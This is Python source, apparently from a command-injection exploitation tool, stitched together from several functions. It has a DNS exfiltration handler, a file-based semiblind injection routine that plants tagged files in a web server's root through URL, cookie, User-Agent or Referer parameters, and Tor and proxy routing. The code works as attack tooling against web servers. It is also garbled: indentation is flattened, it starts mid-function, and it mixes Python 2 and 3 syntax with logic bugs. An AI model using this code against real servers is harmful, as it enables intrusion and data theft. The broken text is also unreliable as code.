delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass except KeyboardInterrupt: # if settings.VERBOSITY_LEVEL >= 1: print("") # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: print("") return False else: sys.stdout.write("\r") sys.stdout.flush()
def dns_exfiltration_handler(url, http_request_method): # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # You need to have root privileges to run this script if os.geteuid() != 0: err_msg = "You need to have root privileges to run this option." print("\n" + settings.print_critical_msg(err_msg)) os._exit(0) if http_request_method == "GET": #url = parameters.do_GET_check(url) vuln_parameter = parameters.vuln_GET_param(url) request = _urllib.request.Request(url) headers.do_check(request) else: parameter = menu.options.data parameter = _urllib.parse.unquote(parameter) parameter = parameters.do_POST_check(parameter) request = _urllib.request.Request(url, parameter) headers.do_check(request) vuln_parameter = parameters.vuln_POST_param(parameter, url) # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print("\n") + settings.print_critical_msg(err) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: os._exit(0) # Check if defined Tor. elif menu.options.tor: try: response = tor.use_tor(request) except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print("\n") + settings.print_critical_msg(err) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: os._exit(0) else: try: response = _urllib.request.urlopen(request) except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print("\n") + settings.print_critical_msg(err) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: os._exit(0) if settings.TARGET_OS == "win": err_msg = "This module's payloads are not suppoted by " err_msg += "the identified target operating system." print(settings.print_critical_msg(err_msg) + "\n") os._exit(0) else: dns_server = menu.options.dns_server technique = "DNS exfiltration module" info_msg = "Loading the " + technique + ". \n" sys.stdout.write(settings.print_info_msg(info_msg)) exploitation(dns_server, url, http_request_method, vuln_parameter, technique)
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response): counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False export_injection_info = False injection_type = "Semiblind Command Injection" technique = "file-based injection technique" # Set temp path if settings.TARGET_OS == "win": if "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.TMP_PATH = "C:\\Windows\TEMP\\" else: settings.TMP_PATH = "%temp%\\" else: settings.TMP_PATH = "/tmp/" if menu.options.tmp_path: tmp_path = menu.options.tmp_path else: tmp_path = settings.TMP_PATH if menu.options.file_dest and '/tmp/' in menu.options.file_dest: call_tmp_based = True else: if menu.options.srv_root_dir: settings.SRV_ROOT_DIR = menu.options.srv_root_dir else: # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. if "apache" in settings.SERVER_BANNER.lower(): if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): try: check_version = re.findall( r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[ 0] > "2.3" and not settings.TARGET_OS == "win": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR except IndexError: pass # Add "/html" to servers root directory elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: pass # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" elif "nginx" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[0] >= "1.2.4": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: # Add "/www" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www" except IndexError: pass elif "microsoft-iis" in settings.SERVER_BANNER.lower(): pass else: # Provide custom server's root directory. custom_srv_root_dir() path = urlparse.urlparse(url).path path_parts = path.split('/') count = 0 for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] EXTRA_DIR = path.replace(last_param, "") settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR if settings.TARGET_OS == "win": settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace( "/", "\\") if not menu.options.verbose: print "(*) Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... " else: print "(*) Testing the " + technique + "... " i = 0 # Calculate all possible combinations total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len( settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: i = i + 1 # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell: payload = fb_payloads.decision_alter_shell( separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) if menu.options.base64: payload = base64.b64encode(payload) # Check if defined "--verbose" option. if menu.options.verbose: print "(*) Trying to upload the '" + OUTPUT_TEXTFILE + "' file on '" + settings.SRV_ROOT_DIR + "'..." print Fore.GREY + "(~) Payload: " + payload.replace( "\n", "\\n") + Style.RESET_ALL # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = fb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = fb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = fb_injector.referer_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test( payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output( url, OUTPUT_TEXTFILE, delay) time.sleep(delay) try: # Check if defined extra headers. request = urllib2.Request(output) headers.do_check(request) # Evaluate test results. output = urllib2.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len( shell ) != 0 and shell == TAG and not menu.options.verbose: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL sys.stdout.write("\r(*) Testing the " + technique + "... [ " + percent + " ]") sys.stdout.flush() if len(shell) == 0: #delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) #if menu.options.verbose: #print "" raise urllib2.HTTPError(url, 404, 'Error', {}, None) except urllib2.HTTPError, e: if e.getcode() == 404: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split( menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == settings.FAILED_TRIES and no_result == True: if not menu.options.verbose: print "" print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read and/or write files in '" + settings.SRV_ROOT_DIR + "'." + Style.RESET_ALL while True: tmp_upload = raw_input( "(?) Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > ").lower() if tmp_upload in settings.CHOISE_YES: exit_loops = True call_tfb = tfb_controller( no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOISE_NO: break elif tmp_upload in settings.CHOISE_QUIT: print "" raise else: if tmp_upload == "": tmp_upload = "enter" print Back.RED + "(x) Error: '" + tmp_upload + "' is not a valid answer." + Style.RESET_ALL pass continue else: if exit_loops == False: if not menu.options.verbose: if percent == 100: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str( float_percent) + "%" else: percent = str(float_percent) + "%" sys.stdout.write("\r(*) Testing the " + technique + "... [ " + percent + " ]") sys.stdout.flush() continue else: continue else: raise elif e.getcode() == 401: print Back.RED + "(x) Error: Authorization required!" + Style.RESET_ALL + "\n" sys.exit(0) elif e.getcode() == 403: print Back.RED + "(x) Error: You don't have permission to access this page." + Style.RESET_ALL + "\n" sys.exit(0) except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) else: pass #delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except urllib2.URLError, e: # print "\n" + Back.RED + "(x) Error: " + str(e.reason) + Style.RESET_ALL print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read and/or write files in '" + settings.SRV_ROOT_DIR + "'." + Style.RESET_ALL # Provide custom server's root directory. custom_srv_root_dir() continue except: raise
def use_proxy(request): headers.do_check(request) request.set_proxy(menu.options.proxy,settings.PROXY_PROTOCOL) response = urllib2.urlopen(request) return response